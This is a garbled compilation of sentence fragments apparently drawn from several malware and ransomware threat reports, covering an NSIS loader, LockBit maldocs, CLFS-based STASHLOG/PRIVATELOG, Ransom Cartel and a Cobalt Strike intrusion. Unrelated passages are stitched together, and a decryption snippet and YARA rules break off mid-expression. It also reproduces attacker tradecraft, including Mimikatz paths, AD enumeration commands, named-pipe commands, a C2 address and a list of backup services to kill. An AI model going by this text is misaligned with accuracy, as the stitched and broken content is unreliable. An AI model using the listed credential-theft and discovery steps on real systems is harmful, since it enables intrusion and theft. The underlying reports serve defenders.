i < 256; ++i ) { key_stream[i + 256] = i; key_stream[i] = key[i % size]; } for ( i = 0; i < 256; ++i ) { v6 = (key_stream[i] + v6 + key_stream[i + 256]) % 256; next = key_stream[v6 + 256]; key_stream[v6 + 256] = key_stream[i + 256]; key_stream[i + 256] = next; } v6 = 0; for ( j = 0; j < DATA_SIZE; ++j ) { i = (i + 1) % 256; v6 = (v6 + key_stream[i + 256]) % 256; next = key_stream[v6 + 256]; key_stream[v6 + 256] = key_stream[i + 256]; key_stream[i + 256] = next; v4 = (key_stream[v6 + 256] + key_stream[i + 256]) % 256; data[j] ^=


key[j % size]; data[j] ^= key_stream[v4 + 256]; } } view raw nsis_decrypt.cpp hosted with :red_heart: by GitHub


4b1a50d1 : NtCreateSection


Overview of the PE loader Manual syscalls calling


More in-depth analysis of this technique was described here.


Once the syscall number has been extracted, the malware intends to execute it from its own code.


The malware comes with two variants of the stub executing a syscall.


As before, we can see decryption of the next stage with the help of a custom algorithm.


Second, we can see a check against blacklisted processes.


However, in this case, detection of a forbidden process only delays execution, and does not suspend it or terminate.


Nevertheless, the authors decided to give up the check in the latest version.


Its structure shows that it is created by experienced authors, using well known, yet not trivial techniques.


Its evolution is slow but steady.


Threat Actor Targeting Korean Users through malicious Document Files Cyble Research and Intelligence Labs (CRIL) recently discovered an ongoing campaign associated with the notorious ransomware group LockBit.


LockBit has been actively operating since September 2019 and consistently employs various methods to spread its malware.


LockBit ransomware’s maldocs campaign, initially detected in 2022, had specifically targeted individuals in Korea.


In the initial stage, a URL hosting the malicious template file (.dotm) is injected into settings.xml.rels file that resides within the document package.


The below image shows the extracted content of the document file.


Following the successful download, the script saves the obtained payload in the directory “C:\Users\Public\456trytgre3e45yrthtgr.exe” on the compromised system and proceeds to execute it.


LockBit Ransomware: After the LockBit ransomware successfully executes on a system, it initiates a series of actions.


However, it is evident that Lockbit remains a significant threat, continuously evolving and expanding its capabilities.


Refrain from opening untrusted links and email attachments without verifying their authenticity.


We will also share sample detection rules, and hunting recommendations to find similar activity in your environment.

Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth


This provides attackers with an opportunity to hide their data as log records in a convenient way, because these are accessible through API functions.


Effectively, each string is therefore encrypted with a unique byte stream.


This table resides in memory and contains strings with their identifiers available to all applications.


The encryption algorithm is HC-128, which is rarely seen used in malware.


The expected decrypted file contents have a 40-byte header: struct payloadHeader { DWORD magic; DWORD minWinVer; DWORD maxWinVer; DWORD totalSize; WORD numBlocks; WORD unknown; BYTE sha1sum[20]; } In the analyzed installer, the “magic” value is referred to as a checksum; however, STASHLOG verifies this value matches the hard-coded value 0x00686365.


The key is the 16-byte atom GUID and the IV is the first 16-bytes of the atom GUID SHA1 hash.


The IV is the first 16-bytes of the SHA1 hash of the concatenated GUIDs from: GetVolumeNameForVolumeMountPointW() The registry value HKLM\SOFTWARE\Microsoft\Cryptography\MachineGUID The contents are written to the CLFS log file using the clfsw32.dll API function ReserveAndAppendLog().


Onto PRIVATELOG The PRIVATELOG sample recovered by Mandiant is an un-obfuscated 64-bit DLL named prntvpt.dll.


The log file is then marshalled and parsed using other functions specific to CLFS, such as CreateLogMarshallingArea(), ReadLogFile() and ReadNextLogFile().


A WORD value of 2, 3, 4, or 5 at offset 16 (number of blocks)


If the first entry matches the aforementioned criteria, then subsequent records are read until one has an 8-byte header with the following: Its first DWORD must equal 2 (assumed magic value)


Fix the section permissions Resolve the imports in the Import Table Execute the payload's entry point Find and execute the export function named SvcMain Hunting for PRIVATELOG Container Sample Figure 4 shows a fabricated container file representing a sample expected log file created by STASHLOG and loaded by PRIVATELOG.


Figure 4: Example log file created by STASHLOG YARA Rules Mandiant created YARA rules to hunt for PRIVATELOG and STASHLOG as well as possible variants based on various methodologies and unique strings that they use.


condition: filesize < 100MB and filesize >= 512KB and uint16(0) == 0x0015 // signature and uint8(2) !


== 0x70 // size of record header and for any i in (0 .. (filesize \ 512) - 1) : ( // look for record header, num sectors and size of record uint16(i*512)==0x0015 and uint16(i*512+4)


md5 = "91b08896fbda9edb8b6f93a6bc811ec6" strings: $hvid = "Global\\HVID_" ascii $apci = "Global\\APCI#" wide condition: uint16(0) == 0x5A4D and uint32(uint32(0x3C))


These would cover cases where PRIVATELOG may resolve imports dynamically with LoadLibrary() and GetProcAddress(), versus static imports in currently known samples.


Example hunting queries include: Any process writing or loading C:\Windows\System32\WindowsPowerShell\v1.0\dbghelp.dll Any process loading both clfsw32.dll and ktmw32.dll svchost.exe -k print loading clfsw32.dll or ktmw32.dll Any svchost.exe process loading clfsw32.dll Concerning svchost.exe, although we have observed many cases of other svchost.exe processes loading ktmw32.dll, we have only rarely observed svchost.exe processes loading clfsw32.dll.


This post is also available in: 日本語 (Japanese)Executive Summary Ransom Cartel is ransomware as a service (RaaS) that surfaced in mid-December 2021.

Ransom Cartel Ransomware A Possible Connection With REvil


At the time, it was not possible to make a definitive attribution stating which group was behind the redirect because the new name-and-shame blog did not claim any name or affiliation.


Over time, the threat actors began adding records that had appeared on “Happy Blog,” mostly from late April to October 2021.


Whether this blog is operated by Ransom Cartel or a different group, what is clear is that, while REvil may have disappeared, its malicious influence has not.


Ransom Cartel Overview We first observed Ransom Cartel around mid-January 2022.


Additionally, Unit 42 has seen no connection between these groups and Ransom Cartel other than that many of them have connections to REvil.


Unit 42 has also observed Ransom Cartel group breaching organizations, with the first known victims observed by us around January 2022 in the U.S. and France.


Like many other ransomware gangs, Ransom Cartel leverages double extortion techniques.


Unit 42 has observed the group taking an aggressive approach, threatening not only to publish stolen data to their leak site, but also to send it to the victim’s partners, competitors and the news in an effort to inflict reputational damage.


Ransom Cartel typically gains initial access to an environment via compromised credentials, which is one of the most common vectors for initial access for ransomware operators.


To avoid the risk of detection by antivirus (AVs) or endpoint detection and response (EDR), the tool downloads the files and decrypts them locally.


We also observed the threat actor using additional tools, including LaZagne to recover credentials stored locally and Mimikatz to steal credentials from host memory.


In order to establish persistent access to Linux ESXi devices, the threat actor enables SSH after authenticating to vCenter.


Ransom Cartel used this as a remote access tool to establish an interactive command and control channel and to scan the compromised network.


These extensions are associated with ESXi snapshots, log files, swap files, paging files and virtual disks.


The first note was first observed around January 2022, and the other one first appeared in August 2022.


The second version appeared to be completely rewritten, as shown in Figure 1. Figure 1.


Ransom Cartel ransom notes.


The note on the left was first observed in January 2022; the note on the right was first observed in August 2022.It's interesting to note that the structure of the first ransom note used by Ransom Cartel shares similarities with a ransom note sent by REvil, as shown in Figure 2.


Ransom Cartel TOR Site Ransom Cartel’s website for communication with victims was available via a TOR link provided in the ransom note.


A TOR private key is needed to access the website.


The site includes details such as ransom demand, in both US dollars and bitcoin, and the Bitcoin wallet address. Figure 5.


Ransom Cartel TOR site.


The DllEntryPoint leads to a function that iterates over a call to the Curve25519 Donna algorithm 24 times.


SM_CLEANBOOT values.


BackupExecVSSProvider BackupExecManagementService AcronisAgent veeam VeeamDeploymentService ARSM BackupExecAgentAccelerator MSExchange$ PDVFSService MSSQL$ VeeamTransportSvc memtas MSExchange vss stc_raw_agent BackupExecDiveciMediaService CAARCUpdateSvc mepocs svc$ WSBExchange sophos VSNAPVSS MVarmor64 MSSQL sql BackupExecRPCService backup MVArmor BackupExecAgentBrowser VeeamNFSSvc BackupExecJobEngine CASAD2DWebSvc bedbg AcrSch2Svc Table 4.


This information is then formatted into the following JSON structure: {"ver":%d,"pk":"%s","uid":"%s","sk":"%s","unm":"%s","net":"%s","grp":"%s","lng":"%s","bro":%s,"os":"%s","bit":%d,"dsk":"%s","ext":"%s"} Table 6 describes the purpose of each key within the structure.


Once the data has been written to the registry, it is then base64-encoded and embedded within the ransom note, replacing the {KEY} placeholder.


First, a public and private key pair will be generated using the code from this Curve25519 repository (session_public_1 and session_private_1).


Diagram of session secret generation procedure.


Registry paths and values used by Ransom Cartel.


The generated hash is used as the encryption key for Salsa20 (a symmetric encryption algorithm), and a random eight-byte nonce is generated using CryptGenRandom.


Similarly to the session_secret generation, this structure is identical to that of the REvil samples analyzed by Amossys, further showing that there have been very few changes to the REvil source code when developing Ransom Cartel samples.


However, the storage of the encrypted configuration is slightly different, opting to store the configuration in a separate section within the binary (.ycpc19), with an initial 32-byte RC4 key followed by the raw encrypted configuration, whereas with the Ransom Cartel samples, the configuration is stored within the .data section as a base64-encoded blob.


REvil configuration storage.


These values indicate additional functionality within the REvil sample, which could mean that either the Ransom Cartel developers removed certain functionality or they are building off of a much earlier version of REvil.


A particularly interesting difference between the two malware families is that REvil opts to obfuscate their ransomware much more heavily than the Ransom Cartel group, utilizing string encryption, API hashing and more, while Ransom Cartel has almost no obfuscation outside of the configuration, hinting that the group may not possess the obfuscation engine used by REvil.


It is possible that the Ransom Cartel group is an offshoot of the original REvil threat actor group, where the individuals only possess the original source code of the REvil ransomware encryptor/decryptor, but do not have access to the obfuscation engine.


External Remote Services Uses legitimate VPN or Citrix credentials to maintain access to an environment.


TA0002 Execution T1072.


TA0003 Persistence T1003.008.


TA0005 Defense Evasion T1222.002.


System Binary Proxy Execution: Rundll32 Uses Rundll32 to load and execute malicious DLL. T1562.004.


Impair Defenses: Disable or Modify System Firewall Deletes rules in the Windows Defender Firewall exception list related to AnyDesk T1070.004.


Data Encrypted for Impact Encrypts system data and adds the random extension to encrypted files.


While Ransom Cartel uses double extortion and some of the same TTPs we often observe during ransomware attacks, this type of ransomware uses less common tools – DonPAPI for example – that we haven’t observed in any other ransomware attacks.


Anti-Ransomware Module to detect Ransom Cartel encryption behaviors on Windows.


PT.


Around 16 hours after the initial execution, the first Cobalt Strike beacon DLL rapuab1.dll was executed from the IcedID malware.

Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report


At this point, the threat actors had the clear text credentials for one of the domain administrator accounts and began moving lateral to other systems.


They issued remote commands using WMIC to conduct discovery, as well as distribute and execute Cobalt Strike beacons.


After an hour or so of failures, the threat actors proceeded to RDP to the domain controller.


More information on this service can be found here.


Malicious ISO file First, the user clicked on the ISO file, which created a new virtual hard drive disk.


This activity was a result of the threat actors attempting to execute various dropped tools or beacons on the endpoint, triggering a Windows Error Reporting (WER) fault process.


We were unable to ascertain the purpose of running this script or how it furthered the threat actor’s goals.


A scheduled task was then created using this same DLL.


echo nbproc > \\.\pipe\nbproc cmd.exe /c


echo xgxfpw > \\.\pipe\xgxfpw cmd.exe /c


This traffic then triggered several network signatures for CVE-2020-1472 otherwise known as ZeroLogon.


The event logs corroborated a successful exploitation with a password update Event 4742 for one of the Domain Controller passwords.


The injection is also visible from memory dumps.


rundll32.exe C:\Windows\syswow64\rundll32.exe win_cobalt_strike_auto BEACHHEAD 996 svchost.exe C:\Windows\system32\svchost.exe -k DcomLaunch -p


rundll32.exe C:\Windows\syswow64\rundll32.exe win_cobalt_strike_auto Multiple tools and scripts were observed to access and collect credentials from compromised hosts.


There were several variants of Mimikatz in binary and PowerShell form: "C:\ProgramData\mimikatz.exe" "C:\ProgramData\mimikatz.exe.exe" "C:\ProgramData\mimikatz_cryptovanniy.exe" "C:\ProgramData\notepad.exe" "C:\ProgramData\katz.ps1 Commands used to collect credentials and export to text files stored in the C:\ProgramData folder included the following: C:\Windows\system32\cmd.exe /C


Code injection in LSASS Multiple injections into the LSASS process were observed on multiple hosts.


Process dump of the LSASS process was undertaken using the Sysinternals ProcDump utility: This process was invoked by RunDLL32.exe which was an injected Cobalt Strike beacon reaching out to the command and control server at 111.90.143[.]191.


A number of familiar discovery techniques were utilized using various OS commands to discover information relating to the user, host, and network configuration.


Standard time discovery, domain trust discovery, workstation configuration discovery, and use of the net command to discover standard accounts and groups were observed.


net time ➝ C:\Windows\system32\cmd.exe /C


hostname cmd.exe /C


Following the first discovery stage, the threat actor installed RSAT (Remote Server Administration Tools) on the beachhead host, which contains the ActiveDirectory PowerShell Module.


rundll32.exe ➝ C:\Windows\system32\cmd.exe /C


powershell.exe Add-WindowsCapability –online –Name “Rsat.


One interesting fact to notice, the threat actors had to consult the help menu of Get-ADComputer and Export-CSV using Get-Help.


powershell.exe Get-ADComputer -Filter * -Properties * | Export-CSV -Path "C:\ProgramData\ADComputers.csv" -NoTypeInformation ➝ C:\Windows\system32\cmd.exe /C


In addition, threat actors searched for Active Directory related DLLs in other directories: C:\Windows\system32\cmd.exe /C


Microsoft.ActiveDirectory.Management.dll C:\Windows\system32\cmd.exe /C where /r C:\Windows\WinSxS\ *Microsoft.ActiveDirectory.Management.dll* Hands on keyboard!


net ttime Other operator errors observed included the use of Cobalt Strike commands being passed as a parameter instead of a beacon task.


Both of these services were accessed on day two from one Domain Controller on the network, with file downloads relating to tooling/scripts.


ADGet is an uncommon tool, however, its function is very similar to ADfind–the key difference is that LDAP queries are not passed, they are instead coded into the binary itself.


As we can see above, WmiPrvSe.exe (WMI Provider Host) executed the PowerShell Cobalt Strike beacon on the remote computers.


The beacon C:\ProgramData\lsass.exe was used to proxy RDP connections and connect to another computer.